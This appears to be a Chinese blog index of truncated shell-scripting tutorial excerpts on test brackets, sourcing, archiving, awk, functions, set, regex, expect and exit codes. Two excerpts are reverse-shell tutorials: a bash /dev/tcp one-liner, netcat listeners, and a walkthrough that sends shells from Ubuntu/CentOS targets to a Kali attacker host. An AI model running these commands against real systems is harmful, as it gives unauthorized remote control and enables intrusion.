在寫腳本的時候,總是搞不懂[] [[]]的區別,這次寫一個總結,把它掌握牢固
[]和test
兩者是一樣的,在命令行裡test expr和[ expr ]的效果相同。
test的三個基本作用是判斷档案、判斷字符串、判斷整數。支援使用 ”與或非“ 將表達式連接起來。
test中可用的比較運算符隻有==[……]
只講重點的設計教學,立刻學習網頁教學網誌!
在寫腳本的時候,總是搞不懂[] [[]]的區別,這次寫一個總結,把它掌握牢固
[]和test
兩者是一樣的,在命令行裡test expr和[ expr ]的效果相同。
test的三個基本作用是判斷档案、判斷字符串、判斷整數。支援使用 ”與或非“ 將表達式連接起來。
test中可用的比較運算符隻有==[……]
主要以下有幾種方式:
Command
Explanation
fork
新開一個子 Shell 執行,子 Shell 可以從父 Shell 繼承環境變量,但是子 Shell 中的環境變量不會帶回給父[……]
目前註意到的區別主要在於環境變量的作用域上:
1. 如果使用” ./ ” 執行,可以理解為程式運行在一個全新的shell中,不繼承當前shell的環境變量的值, 同時若在程式中改變瞭當前shell中的環境變量(不使用export),則當前shell的環境變量值不變。
2. 如果使用” . “執行,則[……]
通常情況下,在工作中用的最多的有如下幾項:
.tar
解包: tar xvf FileName.tar
打包:tar cvf FileName.tar DirName
(註:tar是打包,不是壓縮!)
———————————————
.gz
解壓1:gunzip FileName.g[……]
linux系統內置命令可以通過以下兩種方式查詢:“cat –help” 或者“man cat”。
cat命令的常用選項和官方解釋如下:
cat file_name 顯示档案全部內容
cat -b file_name 顯示档案非空行內容
cat -E file_name 在档案每行末尾顯示$,常用於[……]
1.簡介
變量是任何一種編程語言都必不可少的組成部分,變量用來存放各種數據。腳本語言在定義變量時通常不需要指明類型,直接賦值就可以,Shell變量也遵循這個規則。
在Bash shell 中,每一個變量的值都是字符串,無論你給變量賦值時有沒有使用引號,值都會以字符串的形式存儲。這意味著,Bash s[……]
首先, 你需要先瞭解awk 的工作原理:
1。AWK讀取輸入档案一次一行。
2。對於每一行,它匹配在給定的順序模式,如果匹配,執行相應的動作。
3。如果沒有模式匹配,將執行任何行動。
4。在上面的語法,無論是搜索模式,或行動是可選的,但不能同時。
5。如果沒有給出搜索模式,然後awk要執行每一行輸入[……]
一、Shell函數定義格式
shell函數定義格式,各部分說明如下:
[ function ]等中括號括起來部分—-表示可選(即可有可無)
your_function_name部分—-為函數名
your_shell_commands部分—-為函數代碼;shell一般以行為單位,但可以使用[……]
完整命令
反彈shell命令:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i > /dev/tcp/ip/port 0>&1 2>&1
利用nc反彈shell:
nc -lvvp[......]
方式一:$0,$1,$2..
采用$0,$1,$2..等方式獲取腳本命令行傳入的參數,值得註意的是,$0獲取到的是腳本路徑以及腳本名,後面按順序獲取參數,當參數超過10個時(包括10個),需要使用${10},${11}….才能獲取到參數,但是一般很少會超過10個參數的情況。
1.1 示例:新建一[……]
語法
set [-可選參數] [-o 選項]
功能說明
set 指令可根據不同的需求來設置當前所使用 shell 的執行方式,同時也可以用來設置或顯示 shell 變量的值。當指定某個單一的選項時將設置 shell 的常用特性,如果在選項後使用 -o 參數將打開特殊特性,若是 +o 將關閉相[……]
假如ubuntu、CentOS為目標服務器系統
kali為攻擊者的系統,ip為:192.168.0.4,開放7777端口且沒被占用
最終是將ubuntu、CentOS的shell反彈到kali上
正向反彈shell
ubuntu或者CentOS上面輸入
nc -lvp 7777 -e /bin[......]
前言:
正則可以實現一些簡單的功能,並用在腳本中,如檢測ip地址是否符合規范,檢測档案名是否符合規范等等。
正則表達式
正則表達式主要是用來描述一個句法規則的模式。其實說的通俗一點,就是利用字符和元字符的組合,對一些符合既定句法的模式進行模糊匹配。它的主要功能是文本查詢和字符串操作。
正則表達式的[……]
expect腳本是Tcl腳本語言的拓展。用來實現自動的交互式任務,無需人為幹預。在實際開發中,運行shell腳本有時候會輸入linux密碼或[……]
shell腳本一般選擇bash作為解釋器,腳本開頭應為
#!/bin/bash 或 #!/bin/sh
一、通過管理員選擇創建、格式化、掛載新添加的磁盤腳本
#! /bin/bash echo "==============================" PS3="chose which disk you want to create:" select W in `ls /dev/sd*|gr[......]
Shell 中運行的命令會使用0-255之間的整數值,作為退出狀態碼,並以此來告知shell該命令執行的狀態。通常情況下,約定0代表命令成功結束,非0代表程式非正常退出。
典型退出狀態碼及[……]
和其它編程語言類似,Shell 也支援選擇結構,並且有兩種形式,分別是 if else 語句和 case in 語句。本節我們先介紹 if else 語句,case in 語句將會在《Shell case in》中介紹。
如果你已經熟悉瞭C語言、Java、JavaScript 等其它編程語言,那麼你[……]
$* 和 $@ 都表示傳遞給函數或腳本的所有參數,我們已在《Shell特殊變量》一節中進行瞭演示,本節重點說一下它們之間的區別。
當 $* 和 $@ 不被雙引號” “包圍時,它們之間沒有任何區別,都是將接收到的每個參數看做一份數據,彼此之間以空格來分隔。
但是當它們被雙引號” “包含時,就會有區別瞭[……]